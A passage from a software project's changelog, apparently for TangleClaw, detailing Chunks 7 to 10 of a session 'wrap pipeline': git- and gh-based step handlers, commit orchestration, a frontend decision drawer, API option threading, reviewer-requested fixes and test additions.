    - **`critic-check` warning** (`blocker:false` step with `output.warning === true`) → textarea "Skip rationale (recorded in commit body — required to clear the warning):" → on retry sends `options.criticSkipRationale:<trimmed text>` (whitespace-only text is dropped so a user can't bypass the gate by typing spaces).
    - **`pr-check` unresolved session-scoped PRs** (`output.sessionScoped.length > 0` and not in `output.resolutions`) → per-PR `<select>` with `merge` / `defer` / `ignore` → on retry sends `options.prHandling: {[prNumber]: 'merge'|'defer'|'ignore'}` (empty selections filtered out; full-map dropped if no PR has a resolution).
    - **`lint` blocked + `commit` blocked** intentionally have NO recovery widget — the user fixes outside the drawer (lint errors → edit code; pre-commit hook rejection → fix the hook-rejected issue) and clicks Retry to re-run the pipeline. `decisionWidgetForBlockedStep` returns `null` for these kinds; drawer still shows the row with blockers surfaced inline.
  - **Server-side options threading** — `lib/sessions.js`: `triggerWrap(projectName, options)` now accepts a second arg (V2-only — ignored on the legacy NL-prompt path so existing call sites stay back-compat). `_triggerWrapV2(project, active, options)` passes through to `wrapPipeline.runWrapPipeline(name, options)`. The runner already accepted `options = {}` since Chunk 3; Chunk 10 closes the loop from the frontend to the runner. **`server.js`**: `POST /api/sessions/:project/wrap` reads `body.options` (object-only; arrays / strings / numbers / null all coerce to `undefined` so the runner's default-param governs), passes to `sessions.triggerWrap`, and surfaces `pipelineResult` on the response. **HTTP semantics for V2 blocked pipelines: `200 OK` with `status:'blocked'` (not `500`).** A blocked pipeline is an expected outcome the drawer renders — the runner produced a structured result, the endpoint returns it. `500` is reserved for the runner throwing (no `pipelineResult` present); `404` still for missing project / session.
  - **No live progress updates yet.** TangleClaw has no WebSocket / SSE infrastructure today (only ttyd's terminal proxy). The pipeline runs synchronously in the request; the drawer renders the final state, not in-progress. Adding live updates means a new SSE channel + per-pipeline run IDs — a separate chunk, tracked as a Chunk-11-or-later follow-up. The drawer's "Running…" status banner is a brief flash during the in-flight POST; the result paint happens once on response.
  - **Out of scope (deliberately):** `invoke-critic` action button still has no implementation (Chunk 7's known follow-up); pipeline pause-mid-run (current model is fail → collect options → retry, which matches the runner's request/response contract); custom-methodology decision widgets beyond the three above (kinds without a widget show the row with raw blockers and rely on user-side fix + retry).
  - **Critic pre-merge fixes (4 MAJOR + 3 MINOR + 1 NIT addressed; YELLOW → GREEN):** (M1) Retry POST omitted the password — broke `deleteProtected` installs. Fixed by caching the password from the initial confirm modal on `openWrapDrawer` and replaying it on retry. The replaced dead-state variable `currentPipelineResult` (N2, never read after assignment) repurposed as `currentWrapPassword`. (M2) ADR 0002 extended with the Chunk-10 entry — Status line + Migration-path Chunk 10 + Chunk 11 sections cover the runner-API surface change (`triggerWrap(name, options)` second arg), HTTP 200-on-blocked semantics, the three decision widgets' shape contract, the warning-state re-run trade-off, password replay on retry, the no-live-updates deferral, and scope-discipline note on bundled templates. (M3) `retryWrap` silently swallowed `apiMutate → null` (403/404/500/network). Added `renderWrapDrawerError(message)` that surfaces the inline error via the `wrapDrawerStatus` element with `--error` tone, reading the message from the side-channel `api.lastError`. (M4) Critic-warning state hid the Done button so a user with a passing-but-warned wrap had only Retry (re-runs the pipeline → second commit) or Close (no rationale recorded). Fixed by showing Done alongside Retry on warning-only state ("accept warning as-is") and surfacing the trade-off inline as a `.wrap-decision-note` in the pr-check resolution widget. (M5) PR-resolution roundtrip had no test — frontend → server → runner for `prHandling` was unverified. Added `test/api-sessions.test.js` "threads prHandling map verbatim from request body to runner" pinning both the shape (`{string-pr-num: enum}`) and the key-type contract (string, matching `_normalizeHandling`'s `String(key)` lookup). (N5) `deriveDetail` had no case for `ai-content` or `version-bump`. Added both — ai-content surfaces "captured N fields" or "captured" fallback; version-bump surfaces `from → to` or skipped reason. +5 tests for the new cases. (N6) Renderer loop iterated `H.buildStepRow` twice per step (once for the step list, once for the decision widget). Hoisted into a single `rows` array with `{row, raw}` tuples consumed by both loops. (T3) PR-row title was a `<span>` with the URL only in the tooltip. Made it an `<a target="_blank" rel="noopener noreferrer">` when the URL is present, falling back to span when absent. (N1) Filed [#185](https://github.com/Jason-Vaughan/TangleClaw/issues/185) — "Live wrap pipeline progress via SSE" — for the deferred WebSocket/SSE phase. (N7) Filed [#186](https://github.com/Jason-Vaughan/TangleClaw/issues/186) — "V2 wrap success doesn't transition session lifecycle" — Chunk 11 will fold the fix into the default-flip work; logged in ADR 0002's Chunk 11 entry. Declined: (N4) `aria-modal` toggle pattern is a pre-existing peek-drawer convention; (T1) `status:'wrapping'` field name is misleading for V2 success but the drawer ignores `status` so impact is zero; (T2) `Object.freeze(options)` comment lie is Chunk-4 debt.
  - **Tests** (+40 after Critic fixes; was +34 pre-Critic): 11 cases for `buildStepRow` (done step with commit detail; blocked step gets `isBlocker:true` + `blocked` tone; warning row from `output.warning`; unknown kind falls back to raw kind; missing output handled gracefully; pr-check detail singular/plural; priming-roll target chunk surfaced; ai-content N-fields plural; ai-content singular; ai-content text-only fallback; version-bump from→to; version-bump skipped reason — last five added in Critic fixes), 6 for `summarizePipelineStatus` (success with sha; success without sha; blocked + reason; warning when ok:true with warning step; error when top-level error without blockedAt; null/undefined input → error tone), 4 for `decisionWidgetForBlockedStep` (test gets checkbox; non-blocker null; lint blocker → null since no recovery; null/undefined input), 3 for `warningWidgetForStep` (critic-check textarea; warning:false → null; unknown kind → null), 5 for `prCheckResolutionWidget` (returns prs when session-scoped + unresolved; filters out resolved; null when no session-scoped; null when all resolved; null for non-pr-check kinds), 8 for `collectOptionsFromAccessors` (skipTests true collected; false omitted; rationale trimmed + included; whitespace-only rationale omitted; prHandling filters empties; full-empty prHandling omitted; all-three combined; missing accessor keys tolerated). API-layer (+5 in `test/api-sessions.test.js`, +1 from Critic M5): options threading from request body → `runWrapPipeline`; blocked pipeline returns `200` with `pipelineResult`; thrown pipeline returns `500`; non-object options bodies coerced to `undefined`; `prHandling` map round-trips verbatim with `string`-typed keys. Lib-layer (+1 in `test/sessions.test.js`): `triggerWrap` options-threading contract pinned for both present and absent cases. Full suite: 2224 / 2224 pass (was 2179 at end of Chunk 9; net +45 from Chunk 10).

- **Wrap pipeline `commit` step real handler + single-transaction orchestration (#139, Chunk 9)** — ninth and load-bearing chunk of the methodology-aware single-button session wrap. Replaces the Chunk 3 no-op stub at `lib/wrap-steps/commit.js` with the real flush + commit + `lastWrapSha`-stamp orchestrator. This is the chunk every prior step has been staging *for*: priming-roll's `newContent`, ai-content's `capturedText`, critic-check's `owedRationale`, pr-check's `resolutions` — all of it lands in one git commit (or no commit on a truly clean session) at the end of the pipeline. With Chunk 9 landed, 7 of 8 step kinds (`lint`, `test`, `ai-content`, `priming-roll`, `critic-check`, `pr-check`, `commit`) have real handlers; only `version-bump` remains as a Chunk-3 stub. Behavior remains fully gated behind `projConfig.wrapV2: false`, so no existing project sees any wrap-flow change. Chunks 10 (frontend) + 11 (default flip) are now validatable against an end-to-end functional wrap.
  - **`lib/wrap-steps/commit.js`**: orchestrates four phases — (1) flush staged filesystem writes (currently only `priming-roll` produces these; duck-typed on shape `{primingPath, newContent, changed}` so any future write-producing step that mimics the shape Just Works without a dispatch-table edit), (2) detect "anything to commit?" via `git status --porcelain` — empty output → `{ok:true, status:'skipped', output:{reason:'no changes to commit', commitSha:null}}` so a session that ran the pipeline but produced no real edits stays a no-op at the git level, (3) `git add -A` + `git commit -m <session-derived message>` (the user clicking Session Wrap is opting into "everything in my working tree belongs to this session" — Chunk 10's UI will surface the file list so the user can cancel before this step runs), (4) capture commit SHA via `git rev-parse HEAD` and stamp `lastWrapSha` on `projConfig` so Chunks 4 (lint scope) + 7 (critic-check range detection) can drop their `HEAD~10..HEAD` fallback in a future chunk.
  - **Single-transaction discipline.** A pipeline failure before this step leaves whatever the AI / priming-roll already put into the working tree, but produces NO commit. The user fixes the blocker and retries; on the next attempt this step picks up everything still in the working tree plus the fresh-run staged writes. Re-running the wrap is idempotent at the commit level — the runner produces zero or one commit per invocation.
  - **Blocker contract: `blocker:true` (real, not always-ok).** Unlike Chunks 5–8 which all returned `ok:true` regardless of internal probe failures, this step is the load-bearing transactional gate. `git status` failure, `git add` failure, or `git commit` failure (typically a pre-commit hook rejection) → `{ok:false, status:'blocked'}` with the git/hook output surfaced in `blockers[]`. The runner halts the pipeline; the user fixes the hook-rejected issue and retries the wrap. We do **NOT** pass `--no-verify` (per CLAUDE.md's Git Safety Protocol) — the pre-commit hook is the user's intentional gate.
  - **Commit message strategy: `session-content`.** Subject derived from a chunk-tag regex on the current branch (`chunk-9-…` → `Session wrap (chunk 9)`; dotted/lettered ids like `chunk-10c.2` are honored to match the priming-roll / critic-check chunk-id grammar) with a branch-name fallback (`Session wrap on feat/some-feature`) and a generic fallback for detached HEAD (`Session wrap`). Body assembled from shape-typed staged entries: priming-roll's `pointer.current` → `- Priming rolled to Chunk N — Title` (with `(blocked on: …)` on the next line when present), ai-content's `capturedText` → `- AI content (<step-id>): captured` or `- AI content (<step-id>): captured fields [a, b, c]` if `parsedFields` is non-empty, critic-check's `owedRationale` → `- Critic skip rationale: <text>` (or `- Critic warning: medium+ work without Critic dispatch (no rationale provided)` when warning fired without a rationale), pr-check's `sessionScoped` + `resolutions` → `- Open session-scoped PRs: N` + `  - PR #<num>: merge|defer|ignore` per resolution. Subject capped at `MAX_SUBJECT_LEN = 72` chars with `…` truncation marker so `git log --oneline` stays readable. Anything not matching a known shape is silently skipped — extra staging keys aren't an error.
  - **`lastWrapSha` stamping is non-fatal on failure.** The commit already landed by the time we reach this stamp; the stamp is a hint for later steps' range detection. We `log.warn` and continue, surfacing the outcome on `output.stamped: boolean` so the Chunk 10 UI can render "stamp failed — Chunks 4/7 will keep using the HEAD~10 fallback next wrap" inline rather than producing a runner-level blocker. A clean session that skipped the commit does NOT stamp (no SHA to record).
  - **Bundled templates updated**: `data/templates/prawduct/template.json` and `data/templates/minimal/template.json` each declare `"blocker": true` on their `commit` step. (`data/templates/tilt/template.json` carries the same change locally but is gitignored — `.gitignore:24` lists it as an "Unreleased methodology template" — so it doesn't ride along in this PR; the matching tilt-blocker test is gracefully skipped when the file isn't on disk.) The back-compat shim (`lib/skills.js:wrapShapeFromTemplate`) reads only `step.id` and `step.captureFields[]`, so adding `blocker` to an existing step does NOT change the legacy `wrapV2:false` NL-prompt path's byte-equal output — the regression pin in `test/sessions.test.js` continues to pass. This is the first chunk that DOES touch a bundled template's `wrap_pipeline` schema; doing so explicitly (vs. an implicit "commit kind is implicitly blocker:true" rule in the runner) keeps the runner shape-dumb and the methodology template the single source of truth for the contract.
  - **Runner threading**: `lib/wrap-pipeline.js:runWrapPipeline` now reads `commitSha` from any step result whose `output.commitSha` is a non-empty string, populating the top-level `result.commitSha` field. The threading is step-id-agnostic (any step with an `output.commitSha` populates it; first-wins) so a future methodology with a renamed commit step still surfaces the SHA without a runner edit. Halted pipelines and clean-session skips leave `result.commitSha = null`.
  - **`lib/store.js:DEFAULT_PROJECT_CONFIG`** gains `lastWrapSha: null` — round-trips through `projectConfig.load` / `.save` and merges with on-disk configs that pre-date this field (the deep-merge loop in `projectConfigApi.load` propagates the default for missing keys). Chunks 4 and 7's range detection will switch to `<lastWrapSha>..HEAD` in a future chunk when they read this field; for now they keep the `HEAD~10..HEAD` fallback that's authoritative on never-wrapped projects.
  - **Six pure helpers exported** for testability: `_flushStagedWrites(staged)` (idempotent — `changed:false` is a no-op; missing `changed` defaults to "needs write"; returns array of `{stepId, path}` for the run output), `_buildSubject(branch)` (chunk-tag → branch-name → generic fallback; truncates over `MAX_SUBJECT_LEN`), `_buildBodyLines(staged)` (shape-typed across the four producers; returns `[]` for null/empty/unknown shapes), `_buildMessage(staged, branch)` (subject + blank + body assembly; subject-only when body is empty), `_stampLastWrapSha(projectPath, sha)` (returns `boolean`; `log.warn`s on failure and continues — the commit already landed), plus the `MAX_SUBJECT_LEN` constant.
  - **Three `_internal` shims** for testability: `exec` (thin `execFile`-based Promise wrapper that never throws on non-zero exit — matches the pr-check / critic-check pattern), `writeFileSync`, `mkdirSync`. `execFile` rather than `exec` — argv-style arg passing means multi-line messages with quotes pass through to `git commit -m` byte-intact without any shell-quoting math.
  - **Test scaffolding pollution fix (Chunk 3 → 9).** Several Chunk-3-era tests in `test/wrap-pipeline.test.js` and `test/sessions.test.js` ran the full pipeline against tmp-dir projects that aren't git repos — they passed in Chunks 3–8 because every step was either a stub or always-ok. Now that `commit` is a real blocker handler, those tests would hit `git status` failure on a non-repo and return `ok:false`. Fix: the affected tests now monkey-patch `STEP_DISPATCH['commit']` to the canonical no-op for the duration of their assertion (with `finally`-block restore), keeping each test focused on what it actually asserts (runner skeleton, blocker semantics, options threading, V2 routing) rather than accidentally exercising the real commit handler. The Chunk-9 commit-handler tests stand up real git repos via `execSync('git init ...')` in `beforeEach`.
  - **ADR 0002** updated (Status line + Migration-path Chunk 9 entry) with the full contract — flush order, single-transaction discipline, blocker:true semantics, message-builder strategy, `lastWrapSha` stamping, bundled-template `blocker:true` addition, and the byte-equal-pin compatibility note.
  - **Critic pre-merge fixes:** 1 MAJOR + 4 MINORs addressed before this PR opened. (MAJOR-1) `data/templates/tilt/template.json` is gitignored as "Unreleased methodology templates" — the test asserting `blocker:true` would have broken on a clean clone. Fixed by making the tilt assertion gracefully skip when `store.templates.get('tilt')` returns null, and noting the locally-vs-tracked split in CHANGELOG + ADR 0002. (MINOR-1) Comment in `commit.js:_internal.exec` claimed `-F -` (stdin) but the code uses `-m` (argv) — comment rewritten to accurately describe the argv-style execFile-handling. (MINOR-2) Silent-swallow on `priming-roll` staged entries with `pointer:{current:null, allDone:false}` — the file was being flushed but the commit body produced no line; added an explicit "Priming refreshed: plan has no parseable chunks" branch in `_buildBodyLines`. (MINOR-3, 4, 5) Three missing failure-path tests added: `_stampLastWrapSha` throwing → `output.stamped:false` with `ok:true` (commit landed; stamp is a hint); `git rev-parse HEAD` failing AFTER commit landed → `output.commitSha:null` with `ok:true`; `git add -A` failing → blocked with the third path in the three-path git matrix (status / add / commit) now covered. **Consistency NIT addressed:** `_buildSubject`'s chunk-tag regex now uses `\bchunk` to mirror priming-roll + critic-check's CHUNK_TAG regex shape per ADR 0002 (prevents `junkchunk-9` matching). **Concurrent-wrap NIT addressed:** `_stampLastWrapSha` JSDoc now documents the lock-free load → mutate → save sequence relies on the runner's no-concurrent-wraps assumption.
  - **Tests** (+44, after Critic fixes): 5 cases for `_buildSubject` (chunk-tag extracted from `feat/chunk-N-…`; dotted/lettered chunk ids like `10c.2`; branch-name fallback; generic fallback on null branch; truncation at MAX_SUBJECT_LEN with ellipsis), 9 for `_buildBodyLines` (priming-roll pointer; priming-roll `blockedOn` surfaces under the pointer; priming-roll allDone; priming-roll `{current:null, allDone:false}` no-parseable-chunks line — Critic MINOR-2 pin; ai-content with `parsedFields` lists the fields; ai-content without `parsedFields` minimal form; critic-check skip rationale; critic-check warning without rationale; pr-check sessionScoped count + per-PR resolutions; unknown-shape entries skipped silently; null/undefined/empty staged → `[]`), 2 for `_buildMessage` (subject-only when body empty; subject + blank + body assembly), 5 for `_flushStagedWrites` (skips entries without primingPath/newContent; skips `changed:false`; writes when `changed:true`; writes when `changed` is missing as defensive default; null/undefined staged → `[]`), 13 handler-level cases against a real git repo (blocks on missing project.path; skips with no commit when working tree is clean + no staged writes; skips when staged priming has `changed:false` and tree is clean; flushes a priming-roll write + produces one commit + captures hex SHA; picks up an AI-style MEMORY.md edit the AI made before commit step ran; stamps lastWrapSha on projConfig after a successful commit; blocks on pre-commit hook rejection with hook output surfaced — `--no-verify` is NOT passed; blocks with explanatory message when `git status` fails — non-repo simulation; surfaces flush errors as blockers, never as runner exceptions; session-content message includes priming pointer + AI captureFields + critic rationale on a real commit; generic subject on detached HEAD; `_stampLastWrapSha` throwing leaves `ok:true` with `stamped:false` — Critic MINOR-3 pin; `git rev-parse HEAD` non-zero after commit lands leaves `ok:true` with `commitSha:null` — Critic MINOR-4 pin; `git add -A` non-zero exit blocks with stderr surfaced — Critic MINOR-5 pin), 3 for runner `commitSha` threading (surfaces from `output.commitSha` at the top level; null on a `skipped` commit step; null when the pipeline halts before commit), 3 for bundled-template `blocker:true` on commit step (prawduct, minimal, tilt-when-present), 2 for projConfig `lastWrapSha` (DEFAULT_PROJECT_CONFIG default `null`; round-trips through load/save). Test-scaffolding updates: stub-conformance test (`test/wrap-pipeline.test.js`) — `commit` removed from the Chunk-3 canonical-no-op assertion loop; only `version-bump` remains pinned. Full suite: 2179 / 2179 pass (was 2135 at end of Chunk 8).

- **Wrap pipeline `pr-check` step real handler (#139, Chunk 8)** — eighth chunk of the methodology-aware single-button session wrap. Replaces the Chunk 3 no-op stub at `lib/wrap-steps/pr-check.js` with a real `gh pr list` integration that surfaces open authored PRs to the wrap UI, partitioned into "this session's PR" and "other open PRs you might want to think about." Behavior fully gated behind `projConfig.wrapV2: false`. With Chunk 8 landed, 6 of 8 step kinds (`lint`, `test`, `ai-content`, `priming-roll`, `critic-check`, `pr-check`) have real handlers; only `version-bump` and `commit` remain as Chunk-3 stubs.
  - **`lib/wrap-steps/pr-check.js`**: shells out to `gh pr list --state open --author @me --json number,title,headRefName,baseRefName,url,createdAt,isDraft,author`. JSON fields kept narrow on purpose — the commit-step + UI need just enough to identify and link the PR; adding fields without a downstream consumer is dead surface area. Parses JSON, filters drafts (unless `step.includeDrafts === true`), partitions into `sessionScoped` (PRs whose `headRefName` matches the current branch) and `otherOpen` via `_partitionPrs`. **Session-scope filter is intentionally minimal:** `headRefName === currentBranch` is the single source of truth — more elaborate matching (PR title chunk-tag, issue number cross-reference, base-branch heuristic) is Chunk-10 UI territory; overly-clever filtering at the handler level produces false positives the user can't easily undo. **`gh` availability gate:** `gh --version` (no auth required, no network round-trip) up front; missing → `{ok:true, status:'skipped', output:{reason:'gh CLI not available'}}`. **`gh pr list` failure modes** (no auth via `gh auth login`, repo isn't on GitHub, API hiccup, malformed JSON, non-array JSON) all degrade to skipped — the first 200 chars of `stderr`/`stdout` are surfaced in `output.detail` so the UI can render the recovery hint inline rather than just "gh failed." **Draft filtering:** drafts hidden by default; unfiltered count exposed in `output.counts.rawTotal` so the UI can render "N drafts hidden" without re-calling gh.
  - **Caller-supplied resolution (Chunk 10 hand-off)**: `options.prHandling` accepts two shapes — a string shortcut (`'merge'|'defer'|'ignore'`) applied to every session-scoped PR, or a per-PR object map (`{prNumber: 'merge'|'defer'|'ignore'}`). Both string and number keys are normalized to string before lookup, so a UI that emits `{42: 'merge'}` and one that emits `{"42": 'merge'}` resolve identically. Invalid shortcuts (`'squash-bomb'`), invalid map values (`'rebase-and-pray'`), unknown PR numbers (resolution references a non-session-scoped PR), and bad shape (`prHandling` is an array) are all surfaced via `output.invalidHandling[]` with a human-readable descriptor — the UI prompts the user to fix and re-submit rather than silently dropping the choice. The handler validates but does NOT act on resolutions; the Chunk 9 `commit` step reads `context.staged[step.id]` to embed the choices in the wrap commit body / MEMORY block.
  - **Blocker contract: always `ok:true`** (matches the Chunk 7 always-ok pattern). The handler wraps ALL `_internal` probes (`isGhAvailable`, `getCurrentBranch`, `listOpenPrs`) in a single outer `try/catch` — thrown probes (child_process spawn failure, OOM from maxBuffer, etc.) degrade to `{ok:true, status:'skipped', output:{reason:'pr-check probe failed', error}}` rather than runner-level "step threw" blockers. Even on a misconfigured project (missing `context.project.path`) the handler returns `{ok:true, status:'skipped'}` to honor the same contract — a session with an open PR isn't a structural failure.
  - **Single-transaction discipline (matches Chunks 5–7)**: handler reads only — never mutates git, never writes the filesystem. `context.staged[step.id] = {branch, sessionScoped, resolutions, invalidHandling}` only when `sessionScoped.length > 0 || resolutions has entries` (no PRs + no resolutions = nothing for the commit step to do). Invalid-only handling (caller passed a resolution for a PR that doesn't exist) does NOT stage — pinned by test so a future refactor that always-stages doesn't accidentally make the commit step think there's work to do.
  - **Three pure helpers exported**: `_filterPrs(prs, step)` (draft filter; missing `isDraft` treated as not-a-draft); `_partitionPrs(prs, currentBranch)` (split into sessionScoped + otherOpen; null currentBranch → everything in otherOpen — fail-soft); `_normalizeHandling(prHandling, sessionScoped)` (returns `{resolutions, invalid}`; handles undefined / null / string shortcut / object map / array / unknown enum / unknown PR number, all pinned). Constants exported: `VALID_HANDLINGS` (Set), `GH_PR_JSON_FIELDS` (the gh JSON field list — pinned so a downstream consumer can rely on the shape).
  - **Four `_internal` shims** for testability: `exec` (thin Promise wrapper for `node:child_process.exec`), `isGhAvailable`, `getCurrentBranch`, `listOpenPrs`. Each stubbable per-test (matches Chunk 7's pattern). The defaults never throw on non-zero exit — gh exits non-zero on the no-auth path, no-repo path, and many other recoverable cases, so blanket-rethrow would defeat the never-blocks contract.
  - **Stub-conformance test** (`test/wrap-pipeline.test.js`): `pr-check` removed from the Chunk-3 canonical-no-op assertion loop; remaining two stubs (`version-bump`, `commit`) still pinned. The "runs all stubs end-to-end" runner-skeleton test now monkey-patches `lint`/`test`/`ai-content`/`priming-roll`/`critic-check`/`pr-check` to no-ops inside the test body (with `finally`-block restore). **Test-pollution fix:** the new `wrap-step pr-check — handler` describe gets an `after()` hook restoring `_internal` to its true originals so the sibling `defaultListOpenPrs JSON handling` describe captures clean state rather than the previous suite's last-test stubs (caught during test authoring; pinned so other handler suites can follow the pattern when they grow sibling test groups).
  - **Scope discipline**: bundled prawduct template intentionally NOT extended with `{kind: "pr-check"}` in this chunk (matches Chunks 4 / 5 / 6 / 7's strict pattern — would change the legacy `wrapV2:false` NL-prompt path's byte-equal pin). A future chunk paired with the Chunk-11 default flip will wire prawduct's pipeline.
  - **ADR 0002** updated (Status line + Migration-path Chunk 8 entry) with the full contract — gh availability gate + failure-mode handling + session-scope filter + resolution staging + scope-discipline note.
  - **Critic pre-merge fixes (MINOR):** `_normalizeHandling` string-shortcut branch now writes string keys symmetrically with the object-map branch (both produce `{string: enum}` maps so the Chunk 9 commit step + Chunk 10 UI iterate with predictable key types); `defaultListOpenPrs` non-zero-exit `reason` field appends `…` when the raw gh stderr/stdout was longer than the 200-char truncation cap, so the UI knows there's more to see; added `_partitionPrs` regression pin for `headRefName: null` / empty (gh can return this for orphaned PRs whose source branch was deleted — defensive against a future `pr.headRefName.startsWith(...)` refactor); added `GH_PR_JSON_FIELDS` snapshot pin so a rename / reorder of the gh JSON shape forces a CHANGELOG conversation rather than silently breaking downstream consumers.
  - **Tests** (+29): 3 cases for `_filterPrs` (drafts dropped by default; kept on opt-in; missing isDraft treated as not-a-draft), 4 for `_partitionPrs` (headRefName match; null branch → everything in otherOpen; empty input; null/empty headRefName → otherOpen — Critic MINOR pin), 1 snapshot pin on `GH_PR_JSON_FIELDS` (downstream-consumer contract — Critic MINOR pin), 8 for `_normalizeHandling` (undefined/null → empty; string shortcut applies to every session-scoped PR; unknown shortcut → invalid; per-PR object map; unknown PR number flagged; bad handling value flagged; array shape rejected; numeric-vs-string key normalization), 9 handler-level cases (always ok:true — even on missing project.path; gh missing → skipped; gh non-zero with reason; no PRs → empty buckets, nothing staged; session-scoped PR surfaces + stages; draft hide/include via includeDrafts; options.prHandling threading; invalid-only handling does NOT stage; isGhAvailable throws → skipped via outer try/catch; null currentBranch → everything in otherOpen, nothing staged), 4 for `defaultListOpenPrs` JSON handling (non-zero exit + reason; malformed JSON; non-array JSON; happy path). Full suite: 2135 / 2135 pass (was 2106 at end of Chunk 7).

- **Wrap pipeline `critic-check` step real handler (#139, Chunk 7)** — seventh chunk of the methodology-aware single-button session wrap. Replaces the Chunk 3 no-op stub at `lib/wrap-steps/critic-check.js` with a real session-history heuristic + Critic-dispatch detector that warns (never blocks) when medium+ work landed without an Independent Critic review. Behavior remains fully gated behind `projConfig.wrapV2: false`, so no existing project sees any wrap-flow change. With Chunk 7 landed, 5 of 8 step kinds (`lint`, `test`, `ai-content`, `priming-roll`, `critic-check`) have real handlers; only `pr-check`, `version-bump`, and `commit` remain as Chunk-3 stubs.
  - **`lib/wrap-steps/critic-check.js`**: heuristic for "medium+ work that should have had an Independent Critic review." **Three trip conditions (any-of):** commit count ≥ `step.commitThreshold` (default 10), total line changes (insertions + deletions) ≥ `step.lineChangeThreshold` (default 500), or a chunk-tag regex (`\bchunk[\s\-_]?N(?:\.N[a-z]?)*\b`, case-insensitive) matches the current branch name or any commit subject in the session range. **Branch wins over commit subjects** when both match — more specific to the session — and the matched id (e.g. `7` from `chunk-7`) is exposed in `output.heuristic.chunkTag` so the Chunk 10 UI can show "this looks like Chunk N work" in the warning. Separator-tolerant: matches `Chunk 7`, `chunk-7`, `chunk_7`, `chunk7`, and dotted sub-ids like `chunk-10c.2`. The id regex shape mirrors `priming-roll`'s (Chunk 6) so a chunk a priming-roll knows about is also a chunk-tag this heuristic detects. **Session range** resolved via `git symbolic-ref refs/remotes/origin/HEAD` → main branch; range spec `<main>..HEAD`. Degraded fallback: `HEAD~10..HEAD` when the symref is missing, current branch is the main branch (work-directly-on-main case), or HEAD is detached — `output.rangeDegraded` + `output.rangeDegradedReason` surface the degradation so the Chunk 10 UI can render "the heuristic is operating in degraded mode" instead of silently producing weird numbers. Chunk 9 will replace this with a `lastWrapSha`-stamped range once the `commit` step starts recording it on project records. **Critic-dispatch detection** reads `<project>/.tangleclaw/critic-runs.json` — an array of `{branchName: string, timestamp: ISO 8601, ...}` entries — and filters to entries whose `branchName` matches the current branch. Any match → `criticRan: true`; otherwise `false`. Missing file / malformed JSON / non-array contents / no current-branch entries → `false`. Entries are defensively filtered to those with a string `branchName` to guard against partial writes or schema drift. **The producer is intentionally NOT shipped in Chunk 7** — the `invoke-critic` action button in methodology templates (`actions[]`) currently has no implementation, and the frontend wiring lives in Chunk 10. Chunk 7 ships only the read contract so the pipeline can produce meaningful output today via test fixtures, and the write side can land in any later chunk without re-touching this handler.
  - **Blocker contract: always `ok:true`** (Critic MAJOR-1 pre-merge fix). The spec from #139's Discovery says missing-Critic is a methodology rule the user can knowingly skip with rationale, not a structural failure that halts the pipeline. The handler wraps ALL `_internal` git probes (`getCurrentBranch`, `getMainBranch`, `getCommitCount`, `getDiffStats`, `getCommitSubjects`) in a single outer `try/catch` so any throw (git missing, exec timeout that isn't a clean non-zero exit, fs permission, OOM from maxBuffer) becomes a structured `{ok:true, status:'skipped', output:{reason:'git probe failed', error}}` rather than a runner-level "step threw" blocker. Matches the priming-roll / ai-content explicit-catch pattern from Chunks 5 + 6 — drift would re-create the Chunk-7 Critic incident class. Even on a misconfigured project (missing `context.project.path`) the handler returns `{ok:true, status:'skipped'}` to honor the same contract.
  - **Rationale staging (matches Chunk 5 / 6 single-transaction discipline)**: when `warning === true` AND `options.criticSkipRationale` is a non-empty trimmed string, the rationale is staged at `context.staged[step.id] = {warning, owedRationale, branchName, isMediumPlus, criticRan, heuristic}` for the Chunk 9 `commit` step + Chunk 5 `memory-update` prompt to consume. Whitespace-only rationale is treated as no rationale (`owedRationale → null`); the warning still surfaces and the Chunk 10 UI is expected to prompt the user before letting the pipeline commit. No warning → nothing staged. The handler reads only — no git mutations, no filesystem writes; staging is the sole side effect.
  - **Configurable thresholds** via `step.commitThreshold` / `step.lineChangeThreshold` (positive integers, default 10 / 500). Surfaced back through `output.heuristic.commitThreshold` / `lineChangeThreshold` so the UI can render the threshold inline ("12 commits exceed the 10-commit threshold"). **Footgun protection (Critic MAJOR-2 pre-merge fix):** `0` and negative values fall back to the defaults — without the clamp, `commitThreshold: 0` would trip medium+ on every wrap (`0 ≥ 0` is true), training users to dismiss the warning. Floats / NaN / strings / `null` / objects also fall back via `Number.isInteger` (not `Number.isFinite`). The chunk-tag regex is intentionally NOT exposed as a `step.chunkTagRegex` — exposing regex strings via methodology JSON is a footgun (escaping pitfalls, no validation surface).
  - **Seven `_internal` shims** for testability: `exec` (the thin Promise wrapper for `node:child_process.exec`), `getCurrentBranch`, `getMainBranch`, `getCommitCount`, `getDiffStats`, `getCommitSubjects`, `loadCriticRuns`. Each can be independently stubbed per test (matches Chunk 4's `execShell` + `detectChangedFiles` + Chunk 5's `sendKeys` + `detectIdle` + `capturePane` + `sleep` patterns). The defaults are thin wrappers around real git / fs calls that never throw on non-zero exit — they return `null` / `0` / `[]` so callers branch on intent rather than catching at every site.
  - **Four pure helpers exported**: `_detectChunkTag(branchName, subjects)` (branch wins; subjects searched in declaration order; `null` when neither matches; returns `{tag, source, match}` so the UI gets both the id alone for templating and the full match text for highlighting), `_isMediumPlus({commits, lineChanges, chunkTag, commitThreshold, lineChangeThreshold})` (any-of disjunction across the three signals; pinned at each boundary), `_pickRange(branch, mainBranch)` (returns `{rangeSpec, degraded, reason}`; degraded paths are pinned individually so a future refactor that drops a fallback case fails the test), and `_selectRecentRuns(entries, n)` (sorts critic-runs by `timestamp` descending — newest first — and slices `n`; entries with missing or non-string timestamps sort to the bottom; ISO 8601 string compare matches chronology for any well-formed timestamp). Sorting by timestamp instead of file-insertion order means a future producer that trims or re-sorts the file in-place can't accidentally change the "recent runs" the UI surfaces.
  - **Scope discipline**: bundled prawduct template is intentionally NOT extended with `{kind: "critic-check"}` in this chunk. Doing so would change the legacy `wrapV2:false` NL-prompt path's byte-equal behavior (the back-compat shim flattens `wrap_pipeline.steps[].id` into the legacy `wrap.steps[]` list that the NL prompt enumerates). Matches the strict scope policy from Chunks 4 / 5 / 6, where the bundled template was untouched and the new handler was wired in only via tests. A future chunk (likely paired with the Chunk-11 default flip) will wire prawduct's pipeline to include `critic-check` as part of the methodology-and-UI rollout — at that point the legacy NL-prompt byte-equal pin gets a Chunk-7-explicit baseline update.
